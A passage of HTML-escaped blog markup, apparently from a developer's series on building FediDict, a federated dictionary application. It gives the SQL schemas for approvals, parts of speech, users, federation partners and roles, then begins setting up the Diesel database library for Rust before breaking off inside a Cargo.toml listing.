&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;TABLE&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Approvals&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;id&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;SERIAL&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;PRIMARY&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;KEY&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;approved_by&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;INT&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;approved_at&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;TIMESTAMP&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;FOREIGN&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;KEY&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(approved_by)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;REFERENCES&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Users(id)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The final definition-related table is PartsOfSpeech. I considered using a hard-coded list&#xA;of parts of speech, but I realized that this isn&amp;rsquo;t scalable across languages, so I will&#xA;definitely need to let users define their own. Fortunately, it&amp;rsquo;s very simple.&lt;/p&gt;&#xA;&lt;p&gt;Part of Speech:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An arbitrary unique ID value&lt;/li&gt;&#xA;&lt;li&gt;The name of the part of speech, like &amp;ldquo;noun&amp;rdquo;&lt;/li&gt;&#xA;&lt;li&gt;The plural of the name, like &amp;ldquo;nouns&amp;rdquo;&lt;/li&gt;&#xA;&lt;li&gt;The symbol for the part of speech, like &amp;ldquo;n.&amp;rdquo;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In SQL:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;CREATE&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;TABLE&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;PartsOfSpeech&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;id&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;SERIAL&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;PRIMARY&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;KEY&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;name&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;TEXT&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;plural&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;TEXT&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;symbol&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;TEXT&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id=&#34;identity-crisis&#34;&gt;Identity Crisis&lt;/h1&gt;&#xA;&lt;p&gt;The other important entity in the system is the user. Users have already been referred to&#xA;several times in the schema, but given the discussion in the &lt;a href=&#34;./post/fedidict_ux_design_part_2/&#34;&gt;previous post&lt;/a&gt;, how I refer&#xA;to them is pretty important.&lt;/p&gt;&#xA;&lt;p&gt;User:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An arbitrary unique ID value&lt;/li&gt;&#xA;&lt;li&gt;The user&amp;rsquo;s name&lt;/li&gt;&#xA;&lt;li&gt;The user&amp;rsquo;s email&lt;/li&gt;&#xA;&lt;li&gt;The hash salt for the user&amp;rsquo;s password&lt;/li&gt;&#xA;&lt;li&gt;The hashed password used for login&lt;/li&gt;&#xA;&lt;li&gt;The federation partner associated with this user (foreign key for FederationPartner, nullable)&lt;/li&gt;&#xA;&lt;li&gt;The date upon which the account was created in FediDict&amp;rsquo;s database&lt;/li&gt;&#xA;&lt;li&gt;The RBAC record for the user (foreign key for Roles)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This definition has brought in a new structure, as well: a Federation Partner. That&amp;rsquo;s what&#xA;I&amp;rsquo;m calling the other ActivityPub sites that FediDict will cooperate with. For now, I&amp;rsquo;ll&#xA;keep them simple.&lt;/p&gt;&#xA;&lt;p&gt;FederationPartner:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An arbitrary unique ID value&lt;/li&gt;&#xA;&lt;li&gt;A domain name for the partner&lt;/li&gt;&#xA;&lt;li&gt;The date upon which this partner became known to FediDict.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Users with a non-null partner ID will be written as &lt;strong&gt;username&lt;/strong&gt;@&lt;strong&gt;partner.domain&lt;/strong&gt;, while&#xA;users with a null partner ID are just &lt;strong&gt;username&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s how these two look in SQL:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;CREATE&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;TABLE&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Users&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;id&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;SERIAL&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;PRIMARY&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;KEY&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;name&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;TEXT&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;email&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;TEXT&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;salt&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;TEXT&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;passhash&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;TEXT&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;partner&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;INT,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;created_at&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;TIMESTAMP&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;roles&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;INT&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;FOREIGN&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;KEY&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(partner)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;REFERENCES&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;FederationPartners(id),&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;FOREIGN&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;KEY&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(roles)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;REFERENCES&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Roles(id)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;CREATE&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;TABLE&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;FederationPartners&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;id&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;SERIAL&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;PRIMARY&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;KEY&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;domain&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;TEXT&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;created_at&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;TIMESTAMP&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NOT&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;NULL&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally, I need to define the RBAC table. This is based on the previous post:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;CREATE&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;TABLE&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Roles&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;id&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;SERIAL&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;PRIMARY&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;KEY&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;definition_reader&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;BOOLEAN,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;definition_submitter&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;BOOLEAN,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;definition_evaluator&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;BOOLEAN,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;definition_remover&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;BOOLEAN,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;queue_reader&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;BOOLEAN,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;queue_approver&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;BOOLEAN,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;queue_rejecter&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;BOOLEAN,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;account_creator&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;BOOLEAN,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;account_remover&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;BOOLEAN,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;account_role_assigner&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;BOOLEAN,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And that&amp;rsquo;s it!&lt;/p&gt;&#xA;&lt;h1 id=&#34;next-steps&#34;&gt;Next Steps&lt;/h1&gt;&#xA;&lt;p&gt;Now that the database is defined, I need to actually create it. I&amp;rsquo;m going to use the&#xA;Diesel database mapper for Rust. In essence, Diesel allows me to write Rust code that is&#xA;automatically converted into SQL, with all the type safety benefits of Rust code.&lt;/p&gt;&#xA;&lt;h2 id=&#34;installing-diesel&#34;&gt;Installing Diesel&lt;/h2&gt;&#xA;&lt;p&gt;Most Rust crates are just a &lt;code&gt;Cargo.toml&lt;/code&gt; edit away, but Diesel is a bit more complex, as&#xA;it also has a CLI tool which I&amp;rsquo;d like to use. So, I first have to:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cargo install diesel_cli&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Note that this requires both the &lt;code&gt;mysql&lt;/code&gt; and &lt;code&gt;postgresql&lt;/code&gt; client libraries be installed&#xA;on my system, despite the fact that I&amp;rsquo;m only using PostgreSQL.&lt;/p&gt;&#xA;&lt;p&gt;Now I do need to add it to my &lt;code&gt;Cargo.toml&lt;/code&gt;, along with some other libraries. I&amp;rsquo;m using&#xA;&lt;code&gt;serde&lt;/code&gt; for serialization and deserialization, along with its code generator from&#xA;&lt;code&gt;serde_derive&lt;/code&gt; and JSON functionality from &lt;code&gt;serde_json&lt;/code&gt;. I&amp;rsquo;m also using &lt;code&gt;dotenv&lt;/code&gt; to&#xA;configure the database with a &lt;code&gt;.env&lt;/code&gt; file and &lt;code&gt;chrono&lt;/code&gt; to handle dates and times.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-toml&#34; data-lang=&#34;toml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[package]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;name = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;fedidict&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;0.1.0&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;authors = [&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Leonora Tindall &amp;lt;nora@nora.codes&amp;gt;&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 